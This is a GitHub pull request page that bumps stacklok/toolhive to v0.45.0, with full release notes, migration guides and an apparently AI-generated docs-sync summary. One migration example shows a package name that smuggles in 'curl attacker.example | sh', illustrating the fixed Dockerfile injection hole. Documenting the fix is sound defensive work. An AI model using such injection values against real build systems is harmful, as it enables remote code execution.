Skip to content

Update stacklok/toolhive to v0.45.0 - #1120

Merged
reyortiz3 merged 6 commits into
mainfrom
renovate/stacklok-toolhive-0.x
Aug 27, 2026
Merged

Update stacklok/toolhive to v0.45.0#1120
reyortiz3 merged 6 commits into
mainfrom
renovate/stacklok-toolhive-0.x

Conversation

@renovate

@renovate renovate Bot commented Aug 26, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Update Change
stacklok/toolhive minor v0.44.0v0.45.0

After this PR opens, .github/workflows/upstream-release-docs.yml adds source-verified content edits for the new release. For stacklok/toolhive, the same workflow also syncs reference assets (CLI help, Swagger) and regenerates the CRD MDX pages.


Release Notes

stacklok/toolhive (stacklok/toolhive)

v0.45.0

Compare Source

🚀 Toolhive v0.45.0 is live!

A security-and-supply-chain release: two coordinated fixes harden the thv serve management API and the container build path, plugin artifacts gain end-to-end Sigstore verification, and skill pushes are now signed keylessly by default. Alongside that, Prometheus metrics move to a dedicated diagnostics port behind a migration switch, the embedded auth server gains two new RFC 7523 flows, and Virtual MCP finally honours configured backend timeouts and propagates backend health changes to live sessions.

🔐 Security

  • Cross-origin requests to the thv serve management API are now rejected — the management API creates workloads with caller-named host bind mounts, registers MCP servers into on-disk agent configs, and installs skill artifacts, all as unauthenticated state-changing routes in the default configuration, and a cross-origin web page could drive it with a CORS "simple" POST that never triggers a preflight. This is GHSA-xv9h-79wp-q9w6. Two independent barriers are added for TCP listeners only (migration guide below).
  • Package names can no longer inject shell syntax into generated Dockerfiles — package names from npx://, uvx:// and go:// references were interpolated into RUN instructions unvalidated; they are now constrained to a character class that excludes shell metacharacters, and the two remaining bare interpolations in the templates are quoted (migration guide below).
  • A UTF-8 BOM can no longer smuggle a filtered list past authorization — a BOM-prefixed tools/list/prompts/list/resources/list response failed every decode and sniff and passed through unfiltered, leaking entries the Cedar policy or tool filter was supposed to remove (#​6304).
  • Non-2xx list responses are no longer delivered as HTTP 200 with an unfiltered body — under the transparent proxy, the first Flush() committed an implicit WriteHeader(200), so a backend 500 reached the client as a 200 carrying the full unfiltered list (#​6335).
  • Stored plugin signature material is size-capped — Sigstore bundles and git commit payloads/signatures are rejected (422) above 1 MiB rather than truncated, so a hostile repo or registry cannot push a multi-MB blob into SQLite on every install (#​6399).

⚠️ Breaking Changes

  • thv serve now requires Content-Type: application/json on state-changing requests that carry a body, and validates Origin on loopback TCP binds — non-JSON callers get 415 Unsupported Media Type (migration guide below)
  • Package names are constrained to [A-Za-z0-9@/:._+=~[]-] — a npx:///uvx:///go:// reference containing anything else now fails at build time instead of being interpolated into the Dockerfile (migration guide below)
  • thv skill sync without --clients now targets every skill-supporting client — combined with the new qoder client, every locked skill reports as drifted on the first sync after upgrading, and thv skill sync --check exits non-zero in CI (migration guide below)
  • runtime_config.build_with on npx:///go:// images is now a 400, and runtime_config.runtime_env is now actually applied to the built image — both were silently discarded by the workload REST API (migration guide below)
  • thv skill push requires exactly one of --key, --identity-token, or --no-signkey + no_sign was previously accepted and pushed an unsigned artifact; it is now a 400 (migration guide below)
  • Virtual MCP now honours operational.timeouts — a configured value below 30 s will now actually cut backend calls that previously got the silent 30 s default (migration guide below)
  • Several exported Go interfaces gained required methods or changed signaturesplugins.MaterializationAdapter, state.Store writers, storage.UpstreamTokenStorage, and six function signatures. No effect on the CLI, the operator, the wire protocol, or persisted state (migration guide below)
  • The thv llm local proxy returns 401 token_required instead of 502 server_error when the stored credential has been rejected by the IdP (#​6389)
Migration guide: `thv serve` now requires application/json on state-changing requests

Who is affected: anything calling the thv serve management API over TCP with a POST/PUT/PATCH/DELETE that carries a body but does not set Content-Type: application/json. Studio is not affected — it runs thv serve --socket=<path>, and the UNIX-socket path skips both barriers entirely. Empty-body mutating routes (stop, restart) are unaffected, as are all GET/HEAD requests.

Two barriers were added to the middleware chain, for TCP listeners only:

  1. Origin validation with a loopback-only allowlist derived from the bind address — the same defence already used on the thv proxy path. A non-loopback bind (or --port 0) yields no allowlist and passes through, matching that path's behaviour; a WARN is logged so the disabled state is visible.
  2. application/json enforcement on state-changing requests with a body. text/plain, the form encodings, and an absent Content-Type are all CORS "simple" types exempt from preflight, and the handlers decoded them as JSON regardless. Requiring application/json forces a preflight the browser cannot clear. Chunked bodies (Content-Length: -1) take the strict path.
Before
# Accepted in v0.44.0 — body decoded as JSON regardless of Content-Type
curl -X POST http://127.0.0.1:8080/api/v1beta/workloads \
  -d '{"name":"fetch","image":"ghcr.io/example/fetch:latest"}'
After
# v0.45.0 — Content-Type is required
curl -X POST http://127.0.0.1:8080/api/v1beta/workloads \
  -H 'Content-Type: application/json' \
  -d '{"name":"fetch","image":"ghcr.io/example/fetch:latest"}'
Migration steps
  1. Add Content-Type: application/json to every request your client sends to thv serve that carries a body. Most HTTP clients already do; curl -d and bare fetch() do not.
  2. application/json; charset=UTF-8 also matches — the parameter is stripped before comparison.
  3. If you front thv serve on a non-loopback address, note that Origin validation is a pass-through there. Put it behind a reverse proxy that enforces Origin, and check for the startup WARN naming the bind address.
  4. If you run thv serve --socket=<path>, nothing changes.

Fixed in commit 7f15a63 — GHSA-xv9h-79wp-q9w6

Migration guide: package names are now constrained to a safe character class

Who is affected: anyone running thv run npx://…, uvx://… or go://… with a package reference containing characters outside A-Za-z0-9 and @ / : . _ + = ~ [ ] -. In practice this is nobody using a legitimate npm scope, PyPI pin/extra, or Go module path — the allowed set was chosen to cover all three ecosystems.

The package name is interpolated into RUN instructions in npx.tmpl, uvx.tmpl and go.tmpl. Before this change nothing validated it, so a name carrying shell metacharacters could break out of the instruction and execute arbitrary commands during the image build. The two remaining bare interpolations in npx.tmpl and go.tmpl are now single-quoted as well.

Before
# v0.44.0: interpolated into `RUN npm install --save <name>` unvalidated
thv run "npx://some-pkg; curl attacker.example | sh"
After
invalid package name "some-pkg; curl attacker.example | sh": only letters, digits
and the characters @/:._+=~[]- are allowed
Migration steps
  1. If a build starts failing with invalid package name, check the reference for spaces, quotes, ;, $, backticks, or parentheses.
  2. Legitimate forms are all still accepted: npx://@scope/pkg@1.2.3, uvx://pkg[extra]==1.0, go://github.com/org/mod/cmd/tool@v1.2.3, go://./local/path.
  3. Nothing to change for existing workloads — validation runs at build time, not on stored config.

Fixed in commit 68dc1ba

Migration guide: `thv skill sync` client expansion

Who is affected: every user of thv skill sync and POST /api/v1beta/skills/sync, and most acutely CI pipelines running thv skill sync --check.

Two changes combine. entryMatchesInstalled now treats a lock entry as current only if the installed skill covers every skill-supporting client, not just the clients it was recorded against; and reinstallPinned no longer falls back to the previously recorded client list. Independently, #​5870 added Qoder as the 18th skill-supporting client.

The result: any skill locked under v0.44.0 has a recorded client list that cannot contain qoder, so it is reported as drifted on the first sync after upgrade — and a bare thv skill sync will materialize it into <project>/.qoder/skills/ as well. thv skill sync --check exits with the check-failure code, so a previously green CI gate turns red purely from the upgrade.

Before
# v0.44.0 — preserved the recorded client list, reported AlreadyCurrent
thv skill sync
thv skill sync --check   # exit 0
After
# v0.45.0 — pass the client list you actually want
thv skill sync --clients claude-code
thv skill sync --check --clients claude-code   # exit 0
Migration steps
  1. Run thv skill sync --check once after upgrading and expect drift on every locked skill. This is expected, not corruption.
  2. Decide which behaviour you want:
    • Accept the expansion — run thv skill sync once to materialize skills into all skill-supporting clients, including the new .qoder/skills/. Subsequent --check runs go green.
    • Preserve the old behaviour — pass --clients explicitly on every sync (and {"clients": [...]} on the REST endpoint) so the expected set is exactly what you specify.
  3. Update CI to whichever you chose before upgrading the runner's thv, so the gate does not fail on the upgrade commit.
  4. If .qoder/skills/ in a project tree is unwanted, add it to .gitignore or constrain --clients.
  5. thv skill upgrade is unchanged — it still preserves the existing client list.

PRs: #​6352, #​5870

Migration guide: workload API honours all `runtime_config` fields

Who is affected: REST callers of POST /api/v1beta/workloads and the workload update endpoint that send runtime_config.

The request type is *templates.RuntimeConfig and Swagger published all four of its fields, but the service layer only ever copied builder_image and additional_packages. A caller posting runtime_config.build_with got 201 Created and a workload built with unconstrained dependencies — silently, which is exactly the failure build_with exists to prevent. runtime_env was dropped the same way.

Before
POST /api/v1beta/workloads
{"name": "x", "image": "npx://some-pkg", "runtime_config": {"build_with": ["mcp<2"]}}
→ 201 Created   (build_with silently discarded, dependencies unconstrained)
After
POST /api/v1beta/workloads
{"name": "x", "image": "npx://some-pkg", "runtime_config": {"build_with": ["mcp<2"]}}
→ 400 Bad Request
   "build_with is not supported for npx:// builds (only uvx://)"
Migration steps
  1. Remove runtime_config.build_with from requests using npx:// or go:// images — it was never applied. Only uvx:// supports it.
  2. Audit any runtime_config.runtime_env you were sending: it now actually lands in the built image. Keys must match ^[A-Z][A-Z0-9_]*$, must not be reserved (PATH, HOME, USER, SHELL, PWD, HOSTNAME, TERM, LANG, LC_ALL, LD_PRELOAD, LD_LIBRARY_PATH), and values must not contain shell metacharacters.
  3. Package names starting with . or _, and names over 128 characters, now return an actionable 400 instead of a scrubbed 500 Internal Server Error. The workload was never created in either case.
  4. GET → edit → PUT of a protocol-built workload now succeeds instead of returning 400 and erasing the build configuration — no action needed, but re-test any round-trip tooling.
  5. Scripts grepping stderr for the literal --build-with should match build_with instead; the message is now shared by the CLI, the API, the TUI and the config file.

PR: #​6214 — Fixes #​6210

Migration guide: skill push signing inputs are now mutually exclusive

Who is affected: callers of POST /api/v1beta/skills/push, skillsvc.Push, and thv skill push that supplied more than one signing input.

Push previously only checked "key or no_sign". Supplying both meant no_sign silently won and the artifact was published unsigned. It is now a 400.

Before
{"reference": "ghcr.io/org/s:v1", "key": "/keys/cosign.key", "no_sign": true}
→ 200 OK   (artifact pushed UNSIGNED — no_sign silently won)
After
{"reference": "ghcr.io/org/s:v1", "key": "/keys/cosign.key", "no_sign": true}
→ 400 "no_sign (--no-sign) cannot be combined with key (--key) or identity_token (--identity-token)"

// Choose exactly one:
{"reference": "ghcr.io/org/s:v1", "key": "/keys/cosign.key"}     // key-pair signed
{"reference": "ghcr.io/org/s:v1", "identity_token": "<raw JWT>"} // keyless
{"reference": "ghcr.io/org/s:v1", "no_sign": true}               // explicitly unsigned
Migration steps
  1. Pick exactly one of key / identity_token / no_sign per push.
  2. Update anything matching the old error string "signing key required" — it is now "signing credential required".
  3. Note the related behaviour change from #​6390: a bare thv skill push with no flags no longer fails. In GitHub Actions with id-token: write it signs keylessly from the ambient OIDC token; on an interactive terminal it prompts for a browser sign-in; anywhere else it fails client-side with an actionable error before anything is published. In CI and automation, pass one of the three flags explicitly rather than relying on the default.

PRs: #​6385, #​6390 — Closes #​6307

Migration guide: vMCP backend timeouts are now honoured

Who is affected: Virtual MCP operators who set operational.timeouts.default or operational.timeouts.perWorkload. Deployments that omit operational.timeouts are unaffected — three independent 30 s fallbacks keep the default behaviour identical.

vMCP accepted the documented timeout settings but never used them for backend MCP calls; backend clients kept a hardcoded 30 s, and a separate 30 s server WriteTimeout could close a POST before a slow backend returned anything. Both are now driven by configuration.

Before
operational:
  timeouts:
    default: 5s          # accepted, then ignored — backends actually got 30s
    perWorkload:
      slow-backend: 5m   # accepted, then ignored — capped at 30s
After
operational:
  timeouts:
    default: 30s         # raise short values back to 30s to preserve v0.44.0 behaviour
    perWorkload:
      slow-backend: 5m   # now genuinely applied — size capacity accordingly
Migration steps
  1. Before upgrading, record every configured value: grep -A3 'timeouts:' <vmcp-config> or kubectl get virtualmcpserver -o yaml | grep -A5 timeouts.
  2. Values below 30 s are the breaking direction — they now actually cut backend calls that previously got the silent 30 s. Either raise them to 30s to preserve v0.44.0 behaviour, or keep them deliberately and verify your slowest tools/call completes inside the window.
  3. Values above 30 s now hold a request goroutine and an upstream connection for the full duration, and there is no validated upper bound. Size replica count and connection limits accordingly.
  4. Session initialization is protected: initOneBackend uses max(30s, requestTimeout), so a short configured value never shortens init.
  5. Watch for failed to <op> for backend <id> (timeout) in logs after upgrade to spot a value set too low.
  6. Note operational.failureHandling.healthCheckTimeout is separate and unaffected, and the cross-pod session-restore path is still a fixed 15 s.

PR: #​6411 — Fixes #​6410

Migration guide: Go API changes

Who is affected: Go consumers importing ToolHive packages. None of these affect the CLI, the operator, the wire protocol, or persisted state.

Package Change PR
pkg/plugins MaterializationAdapter gains required EnsureRegistered(ctx, DematerializeRequest) error and Health(ctx, DematerializeRequest) error #​6314
pkg/groups RemovePluginFromAllGroups removed (use RemovePluginFromGroup per group); AddPluginToGroup and AddSkillToGroup now return (added bool, err error) #​6314, #​6352
pkg/state Writers must implement Aborter; Close() now publishes and can fail #​6350
pkg/skills InstallOptions.Visited removed, replaced by ExpectedCanonicalName string #​6352
pkg/authserver/storage UpstreamTokenStorage (and transitively Storage) gains required ResolveUpstreamTokenRowID #​6361
pkg/authserver/server/registration LoopbackClient, NewLoopbackClient, MatchRedirectURI, GetMatchingRedirectURI removed; use the free function RegisteredLoopbackRedirectURI #​6215
pkg/authserver/server/registration ValidateDCRRequest gains an allowPrivateKeyJWT bool parameter #​6427
pkg/authserver/server/tokenexchange ValidateTrustedIssuers and NewMultiIssuerTokenValidator gain an allowedAudiences []string parameter #​6391
pkg/api/v1 WorkloadService.BuildFullRunConfig gains a fourth parameter #​6214
cmd/thv-operator/pkg/validation ValidateRemoteURL(rawURL string)ValidateRemoteURL(rawURL string, opts ValidateRemoteURLOptions) #​6195

Two of these deserve concrete code:

pkg/state — writers must abort, and Close() publishes

LocalStore writers now write to a temp file and publish atomically on Close (os.Rename for GetWriter, os.Link for CreateExclusive). Three consequences: the target name does not exist until Close; Close returns real errors that must be handled; and CreateExclusive conflicts surface from Close rather than from the call itself.

Aborter is documented as required but enforced only at runtime — a Store whose writer lacks Abort() still compiles, and every abandon path then returns "state writer does not support abort" and leaks the file handle. Add a compile-time assertion.

// Before
writer, err := store.GetWriter(ctx, name)
if err != nil { return err }
defer func() {
    if err := writer.Close(); err != nil { slog.Warn("failed to close writer", "error", err) }
}()
if _, err := writer.Write(data); err != nil { return err }
return nil

// After
var _ state.Aborter = (*myWriter)(nil) // catch a missing Abort() at compile time

writer, err := store.GetWriter(ctx, name)
if err != nil { return err }
closed := false
defer func() {
    if !closed {
        if err := state.AbortWriter(writer); err != nil {
            slog.Warn("failed to abort writer", "name", name, "error", err)
        }
    }
}()
if _, err := writer.Write(data); err != nil { return err }
if err := writer.Close(); err != nil { // this is the publish — must be returned
    closed = true
    return fmt.Errorf("failed to close writer: %w", err)
}
closed = true
return nil
pkg/plugins — two new adapter methods
// EnsureRegistered re-applies only the client-config registration, without
// re-extracting files. Must be idempotent.
func (a *MyAdapter) EnsureRegistered(ctx context.Context, req plugins.DematerializeRequest) error {
    dir, err := a.paths(req)
    if err != nil { return err }
    return a.writeRegistration(req.Name, dir)
}

// Health is a presence check only — do not hash file contents into a digest.
func (a *MyAdapter) Health(ctx context.Context, req plugins.DematerializeRequest) error {
    dir, err := a.paths(req)
    if err != nil { return err }
    if _, err := os.Stat(dir); err != nil {
        return fmt.Errorf("plugin directory missing: %w", err)
    }
    return a.registrationPresent(req.Name, dir)
}
Migration steps
  1. Regenerate mocks with task gen after updating any implementation.
  2. For UpstreamTokenStorage, return a deterministic, non-empty, side-effect-free ID derived from your key scheme, and do no I/O — resolution happens before the singleflight joins, so a round-trip defeats the dedup. Never alias rows that are not physically the same row.
  3. For RegisteredLoopbackRedirectURI, note the changed return semantics: the old method returned the requested URI (dynamic port preserved); the new function returns the registered URI. Keep your own requested value if you need the port.
  4. Move any httperr.Code(err) == http.StatusConflict check from the CreateExclusive call site to the Close() call site.

🔄 Deprecations

  • /metrics on the transport port is deprecated in favour of the dedicated diagnostics listener (default port 9464) — the transport-port copy still serves by default in v0.45.0 via metricsOnTransportPort, but that default will flip in a future release (#​6296, #​6370, #​6371, #​6368)
Deprecation detail: moving Prometheus metrics to the diagnostics port

Existing scrape configurations keep working in v0.45.0. DefaultMetricsOnTransportPort is true and the field is a *bool with no CRD default, so an unset value inherits the release default and is not pinned into stored config. Metrics are simply served in two places during the migration window.

Why the move: /metrics shared the port that serves MCP traffic, which the operator binds to 0.0.0.0 and the Service maps. Kubernetes NetworkPolicy matches on pods, ports and protocols and cannot filter on HTTP path, so while the endpoint shares the transport port there is no way to express "allow MCP traffic, deny metrics scraping". Note the move adds no authentication — the diagnostics listener carries no middleware by design, and restricting who can reach the port is what protects it.

Cutting over
# CLI
thv run --otel-metrics-on-transport-port=false …
# Operator — MCPTelemetryConfig
spec:
  prometheus:
    metricsOnTransportPort: false

# Operator — VirtualMCPServer (inline)
spec:
  config:
    telemetry:
      metricsOnTransportPort: false
      prometheusPort: 9464        # vMCP only; MCPServer/MCPRemoteProxy are fixed at 9464
  1. Point your scraper at the diagnostics port (9464 unless overridden) and confirm metrics arrive.
  2. Set metricsOnTransportPort: false and confirm nothing else was still scraping the transport port.
  3. Leave it unset if you want to inherit the new default automatically when the window closes; set it explicitly only to opt out of that change.
  4. Restrict the diagnostics port with a NetworkPolicy — see docs/observability.md. It binds 0.0.0.0 under the operator, so any pod in the cluster can reach it by pod IP until you do. Do not add it to a Service or Ingress.
  5. Because no containerPort or Service port is declared, ServiceMonitor/named-port PodMonitor discovery will not find it — scrape with kubernetes_sd_configs role: pod and an explicit __address__ relabel to :9464.
  6. Expect a new startup WARN on every metrics-enabled workload naming the diagnostics address, and a 404 on the transport port once you opt out (the body explains itself and names the log line to grep for).

One genuinely breaking side effect, still present: when ToolHive metrics are not served on the transport port, /metrics now returns 404 on the application listener instead of falling through to the backend. Under the transparent proxy — remote servers via thv run <url> / MCPRemoteProxy, and container sse/streamable-http workloads — a backend that exposed its own /metrics through the ToolHive proxy is no longer reachable there. Scrape such backends directly instead.

📋 Upgrade Notes

  • kubectl apply of the raw virtualmcpservers CRD exceeds the 262144-byte annotation limit. This is pre-existing (it was already over at v0.44.0) rather than introduced here, but #​6183 grew the mcpservers and mcpremoteproxies CRDs ~2.5× by expanding the corev1.Affinity schema, so it is worth stating plainly. helm install/upgrade and Flux are unaffected; Argo CD with the default client-side apply is not. Use kubectl apply --server-side --force-conflicts -f <crd-dir>, or add ServerSideApply=true to the Argo CD Application's syncOptions.
  • #​6379 makes MCPServer readiness honest. A server whose workload StatefulSet was deleted out-of-band previously reported Ready=True while clients hit a dead backend; it now reports Pending / Ready=False and is auto-healed by bouncing the proxy (2-minute cooldown). Only already-broken servers are affected, but kubectl wait --for=condition=Ready and Argo/Flux health checks will now correctly show them as not ready. The operator also adopts a controller owner-ref on that StatefulSet — adoption is metadata-only and causes no pod churn, but deleting an MCPServer now garbage-collects its StatefulSet even if the finalizer does not run.
  • #​6426 turns a previously silent misconfiguration into a reconcile error — confidential or delegate clients with a plain-HTTP non-loopback issuer now fail reconciliation instead of reconciling green and then crashlooping.
  • If your auth-server replicas share Redis, finish the rolling upgrade before enabling allowPrivateKeyJwtRegistration — a v0.44.0 replica silently drops the new jwks field when reading a row a v0.45.0 replica wrote.
  • All CRD changes in this release are additive or relaxing — no field was removed, renamed or retyped in any of the 14 CRDs across both served versions. Apply the updated CRDs as part of the normal operator upgrade.

🆕 New Features

  • Trusted external workloads can obtain MCP access tokens with a signed RFC 7523 assertion, without registering a ToolHive OAuth client — per-issuer policy, replay-safe memory and Redis storage, and audience/subject/resource binding (#​6391)
  • Delegate clients can authenticate with private_key_jwt (RFC 7523 §2.2) instead of a shared secret, generating their own keypair and registering only the public half (#​6427)
  • Trusted issuers can authorize external-actor delegation with a CEL expression over the token's full verified claims, so role- or group-based trust no longer needs an operator to edit an allowlist for every new value (#​6364)
  • The MCPServer proxy Deployment can be steered onto specific nodes with nodeSelector, tolerations and affinity under resourceOverrides.proxyDeployment, so the proxy lands on the same pre-warmed pool as its server (#​6183)
  • MCPServerEntry and MCPRemoteProxy gain spec.allowPrivateEndpoint, letting a Virtual MCP reach a co-located in-cluster backend in-mesh so the backend's workload-identity authorization still applies — loopback, link-local, cloud-metadata and kubernetes.default* stay blocked regardless (#​6195)
  • Prometheus metrics are served on a dedicated diagnostics listener (default 9464) for both the proxy and Virtual MCP, so access can be governed by port with a NetworkPolicy (#​6296, #​6368), reachable from the CLI via --otel-metrics-on-transport-port and from the operator via prometheus.metricsOnTransportPort (#​6371)
  • Operators can now distinguish a rate-limit dependency failure from an enforcement outcome — the new toolhive_rate_limit_fail_open_total counter and a rate_limit.fail_open span attribute record when a check failed open after a Redis error (#​6282)
  • thv skill push signs keylessly by default: the CLI acquires an OIDC identity token (GitHub Actions ambient token in CI, browser sign-in on a terminal) and the server exchanges it with Fulcio and records a Rekor entry (#​6385, #​6390); release pushes in CI are signed rather than carrying the old --no-sign stopgap, and a new staging job verifies the result with stock cosign (#​6402)
  • A skill's very first install is no longer trust-on-first-use — when it resolves through the catalog and the entry declares a provenance, that becomes the expected signer identity (#​6420)
  • AI plugins gain a project lock file and Sigstore verification, behind TOOLHIVE_PLUGINS_LOCK_ENABLED=true and inert by default: project installs pin into toolhive.lock.yaml (#​6314), thv ai-plugin sync restores and drift-checks them (#​6316), thv ai-plugin upgrade advances a pin under review (#​6317), bundles and git signatures are persisted (#​6396), signatures are verified at install (#​6397), and stored signatures are re-verified offline on every sync (#​6399)
  • thv client register qoder configures Qoder IDE for MCP server integration and skill installation (#​5870)
  • kubectl get mcpgroup shows a Proxies column from status.remoteProxyCount, so a group made entirely of MCPRemoteProxy members no longer looks empty (#​6376)

🐛 Bug Fixes

  • Virtual MCP client sessions now receive notifications/tools/list_changed and an updated tools/list when a backend recovers or fails health checks, instead of serving the registration-time snapshot until reconnect — note that tools can now also disappear mid-session, since resync uses replace semantics (#​6196)
  • Virtual MCP reuses tool embeddings across sessions instead of re-embedding the whole catalogue on every connect — measured on 140 aggregated tools, warm sessions drop from 16–19 s to sub-second with zero embedding calls (#​5996)
  • Virtual MCP honours the configured operational.timeouts for backend calls, and no longer tears down a slow POST at the 30 s server write deadline (#​6411)
  • Native MCP clients registered through DCR (VS Code, Claude Code) can complete the authorization flow against the embedded auth server — a portless http://localhost/callback registration listening on an ephemeral port was rejected as a redirect_uri mismatch, and OAuth errors now reach the client's real listener (#​6215)
  • A refresh token can no longer be redeemed twice by callers that resolve to the same storage row under different session IDs, which could trigger IdP replay detection and revoke the credential family (#​6361)
  • A refresh token the IdP has rejected now surfaces as an actionable "log in again" error naming thv llm setup, instead of an opaque invalid_grant that every consumer read as a transient provider fault and retried forever (#​6389)
  • Delegate clients can use a loopback HTTP issuer when insecureAllowConfidentialOverLoopbackHTTP is explicitly enabled, unblocking local development; non-loopback HTTP issuers remain rejected (#​6426)
  • Local state writes are atomic — a crash or error mid-write no longer leaves a truncated state file, and CreateExclusive's exists-check and creation are no longer racy (#​6350)
  • kubectl rollout restart on ToolHive proxy Deployments and MCPServer workload StatefulSets is honoured instead of being reverted on the next reconcile (#​6378)
  • A deleted MCPServer workload StatefulSet is recreated, and Ready is no longer claimed on a proxy-only stack serving a dead backend (#​6379)
  • unix:// socket URLs round-trip correctly on Windows — POSIX paths no longer gain a fourth slash, and drive-letter paths parse instead of being rejected as not absolute (#​6416)
  • thv skill sync and thv skill upgrade re-read each skill under its lock before classifying or mutating, so a concurrent uninstall is not resurrected and a newer install is not overwritten (#​6352)
  • A UTF-8 BOM on a list response no longer bypasses authz and tool-filter list filtering (#​6304)
  • A non-2xx list response is no longer rewritten to HTTP 200 with an unfiltered body (#​6335)
  • The workload REST API honours all four runtime_config fields instead of silently dropping build_with and runtime_env (#​6214)
  • Plugin uninstall now fails retryably on a group-cleanup error with the install intact, instead of succeeding with leaked group memberships (#​6314)
  • The /metrics endpoint move is diagnosable: the dead endpoint returns an explanatory 404 body and the startup line is a WARN naming the resolved diagnostics address (#​6369)
  • Transport-port metrics are restored behind metricsOnTransportPort, defaulting to on, so no existing scrape configuration breaks on upgrade (#​6370)

🧹 Misc

  • Skill artifact signing switched to toolhive-core's container/signer, deleting the local duplicate that only ever supported key-pair signing (#​6383)
  • Fixed a flaky close of closed channel panic in the vMCP backend session tests that aborted the whole test binary and surfaced as unrelated failures (#​6363)
  • Local task test-e2e runs sweep workloads leaked by a Ginkgo timeout-kill, which had been exhausting the Docker network address pool (#​6367)
  • The vMCP dual-era e2e specs run under the spec-required Accept: application/json, text/event-stream header (#​6123)
  • Pinned golangci-lint to v2.12.2 to avoid an upstream nilness analyzer panic that was failing CI on main (#​6393)
  • The GO-2026-5932 openpgp suppression now names a checkable removal trigger and records why the dependency cannot be fixed locally (#​6286)
  • Five documented paths now point at the files they were renamed to (#​6388)

📦 Dependencies

Module Version
github.com/moby/go-archive v0.3.0
github.com/stacklok/toolhive-catalog v0.20260824.0
anthropics/claude-code-action v1.0.205

Also bumped as part of feature work: github.com/stacklok/toolhive-core to v0.0.41 (#​6383) and v0.0.42 (#​6420) — the latter migrated cel to the renamed cel.dev/cel-go module.

👋 Welcome to our newest contributors: @​TANTIOPE, @​haaaashimi, @​RaviTharuma, @​premctl, @​melbinjp, @​christensenjairus, @​talshechanovitz 🎉

Full commit log

What's Changed

New Contributors

Full Changelog: stacklok/toolhive@v0.44.0...v0.45.0

🔗 Full changelog: stacklok/toolhive@v0.44.0...v0.45.0


Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Never, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.


Docs update for toolhive v0.45.0

At a glance

Upstream stacklok/toolhive v0.44.0v0.45.0
Hand-written changes 2 commit(s)
Reference assets refreshed (separate commit)
Gaps 0
Owner @reyortiz3 - identified from merged release PR stacklok/toolhive#6436
Release contributors 9 review requested (see sidebar) · 7 not requested (no docs impact)
Action required Spot-check skill-authored prose for accuracy

Who does what

@reyortiz3 cut this release and owns this PR: review your own changes, chase the remaining approvals, and merge once they're in. You don't need to wait on a review from anyone listed as having no docs impact below.

Everyone with a review request: the target is a review and approval within 2 business days.

Summary of changes

  • Updated Prometheus metrics coverage across guides-cli/telemetry-and-metrics.mdx, guides-k8s/telemetry-and-metrics.mdx, guides-vmcp/telemetry-and-metrics.mdx, and concepts/observability.mdx for the new diagnostics listener (default 9464), the --otel-metrics-on-transport-port CLI flag / metricsOnTransportPort field, and the upcoming default flip.
  • Added the Qoder IDE client to reference/client-compatibility.mdx (table row + configuration file section) and to the common client-name list in guides-cli/client-configuration.mdx.
  • Updated guides-cli/skills-management.mdx: documented the new default that thv skill sync targets every skill-supporting client (with the CI recommendation to pin --clients), and rewrote the thv skill push signing section for the mutually exclusive --key / --identity-token / --no-sign flags and the keyless-by-default ladder.
  • Added a "Request requirements for TCP listeners" section to guides-cli/api-server.mdx covering the new Content-Type: application/json and Origin safeguards, and their exemptions (UNIX socket, empty body, GET/HEAD).
  • Added spec.allowPrivateEndpoint sections to guides-k8s/mcp-server-entry.mdx and guides-k8s/remote-mcp-proxy.mdx, including which address families remain blocked.
  • Added resourceOverrides.proxyDeployment scheduling fields (nodeSelector, tolerations, affinity) with merge-order guidance to guides-k8s/run-mcp-k8s.mdx and guides-k8s/remote-mcp-proxy.mdx.
  • Added a Changed in v0.45.0 admonition to guides-vmcp/configuration.mdx Timeouts section noting that operational.timeouts values are now honored, and added the toolhive_rate_limit_fail_open counter row to guides-k8s/rate-limiting.mdx and guides-vmcp/telemetry-and-metrics.mdx.
  • Skipped documenting the plugin lock file, sync, upgrade, and Sigstore verification (PRs #6314/#6316/#6317/#6396/#6397/#6399): the whole path is gated on TOOLHIVE_PLUGINS_LOCK_ENABLED=true and is inert by default. Deferred per the readiness gate.

No docs impact identified

@RaviTharuma @TANTIOPE @Yanhaoxi @aponcedeleonch @kocaemre @melbinjp @stantheman0128 - your changes in this release didn't appear to affect the docs, so no review is requested and you're not blocking this PR. Please skim the diff anyway and comment if something of yours was missed or misjudged.

Run cost

Session Turns Cost (USD)
Generation 94 $16.4068
Editorial review 38 $3.0336
Total 132 $19.4404
How this PR was built

Two Claude Opus sessions run per release: a generation pass
(upstream-release-docs skill, 6 phases) followed by a fresh-
context editorial pass (docs-review). Prettier/ESLint
auto-fixes are applied after.

Auto-synced paths — do not hand-edit these in review:

  • static/api-specs/
  • docs/toolhive/reference/cli/ (toolhive only)
  • docs/toolhive/reference/crds/

If a "Gaps needing human context" section is present above,
each entry includes a paste-ready Helper prompt for local
Claude
a reviewer can use to resolve the gap.

Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
@renovate renovate Bot added the autogen-docs Pull requests generated by automated release workflows label Aug 26, 2026
@vercel

vercel Bot commented Aug 26, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
docs-website Ready Ready Preview Aug 27, 2026 8:00am

Request Review

@github-actions
github-actions Bot marked this pull request as draft August 26, 2026 18:55
@claude

claude Bot commented Aug 26, 2026

Copy link
Copy Markdown
Contributor

Claude finished @renovate[bot]'s task in 11m 15s —— View job


Upstream release docs sync: toolhive v0.44.0 → v0.45.0

  • Load skill instructions
  • Phase 1: Discovery & scoping
  • Phase 2: Deep dive (parallel research, source-verified)
  • Phase 3: Docs audit (impact map)
  • Phase 4: Implementation
  • Phase 5: Format & lint (prettier, eslint, build all clean)
  • Phase 6: Wrote SUMMARY.md + REVIEWERS.json, committed & pushed

Summary of hand-written doc edits (13 files)

  • Metrics diagnostics port — new 9464 listener, --otel-metrics-on-transport-port flag / metricsOnTransportPort field, and upcoming default flip documented in guides-cli, guides-k8s, guides-vmcp telemetry pages and concepts/observability.mdx.
  • Qoder IDE — added row and config-locations section in reference/client-compatibility.mdx; added qoder to the common client-name list in guides-cli/client-configuration.mdx.
